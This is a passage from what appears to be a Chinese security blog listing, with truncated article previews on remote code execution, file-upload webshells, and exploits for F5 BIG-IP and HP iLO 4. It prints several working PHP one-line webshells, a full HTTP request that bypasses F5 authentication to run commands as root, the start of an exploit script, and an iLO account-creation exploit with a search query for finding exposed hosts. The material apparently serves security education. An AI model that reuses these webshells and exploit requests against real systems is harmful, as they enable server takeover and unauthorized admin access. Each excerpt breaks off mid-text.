一、RCE简介RCE漏洞,全称远程命令/代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。RCE分为:远程命令执行Remote Command Execute远程代码执行Remote Code Execute二、远程命令执行漏洞原理一般出现这种漏洞,是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口。比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。 如果,设计者在完成该功能时,没有做严格的安全控制,则可能会导致攻击者通过该接口提交“意想不到”的命令,从而让后台进行执行,从而控制整个后台服务器。这种漏洞形成的条件有两个:有执行系统命令的函数。函数中存在外部可操作的变量。相关函数system() :执行外部程序,并且显示输出exec()/shell_exec(): 通过 shell 环境执行命令,并且将完整的输出以字符串的方式返回pcntl_exec() :在当前进程空间执行指定程序pa
一、文件上传简介当今大多数网站都允许进行文件上传,可这是一个十分危险的行为,未经验证的文件上传操作会导致服务器权限被窃取,也就是getshell。当网站对上传的文件格式验证不严谨存在被绕过的可能时,就会导致未经授权的任意命令执行漏洞。WebShellWebShell分为很多种,如大马、小马、一句话木马,总体上属于木马(Trojan)病毒,是一段具有远程命令执行功能的恶意代码或是具备破坏和删除文件、发送密码、记录键盘和攻击Dos等特殊功能的后门程序。这里我们重点介绍一句话木马。一句话木马一句话木马的特点就是短小,十分精简造成的功能又十分强大,可以产生远程代码执行或远程命令执行的功能,不同的环境有对应的一句话木马。PHP一句话<?php eval($_POST['c']);?> <?php if(isset($_POST['c'])){eval($_POST['c']);}?> <?php system($_REQUEST1);?> <?php ($_=@$_GET1).@$_($_POST1)?> <?php eval_r($
原理在同时设置HTTP基础认证与X-F5-Auth-Token头且值为空时,会绕过程序对身份的验证,通过特定的接口即可进行远程命令执行。影响范围危害可以获取root权限,并以root权限执行命令。POC & EXP手工POST /mgmt/tm/util/bash HTTP/1.1 Host: 192.168.59.7 Content-Type: application/json X-F5-Auth-Token: Authorization: Basic YWRtaW46 Content-Length: 52 { "command": "run", "utilCmdArgs": "-c id" }脚本import requests import json import sys requests.packages.urllib3.disable_warnings() proxies = {'http': 'http://localhost:7890', 'https': 'http://l
原理未授权访问,由于添加用户操作未对操作者的身份进行验证,导致未授权用户添加。影响范围iLO 4 固件版本低于2.54 的2.xx版本危害获取Web面板完整访问权限,可通过惠普iLO自带的远控软件对主机进行控制。下载地址为:https://support.hpe.com/hpsc/swd/public/detail?swItemId=MTX_4f842ceb31cf48d392e22705a8POC & EXPfofatitle="iLO"手工# POC GET /rest/v1/AccountService/Accounts HTTP/1.1 Host: x.x.x.x:x Content-Length: 273 Accept-Encoding: gzip, deflate Accept: */* Connection: AAAAAAAAAAAAAAAAAAAAAAAAAAAAA Content-Type: application/json # EXP POST /rest/v1/AccountService/Accounts HTTP/1.1 Host: x.x.x.x:x C
Equinox
一个乐于分享的网安人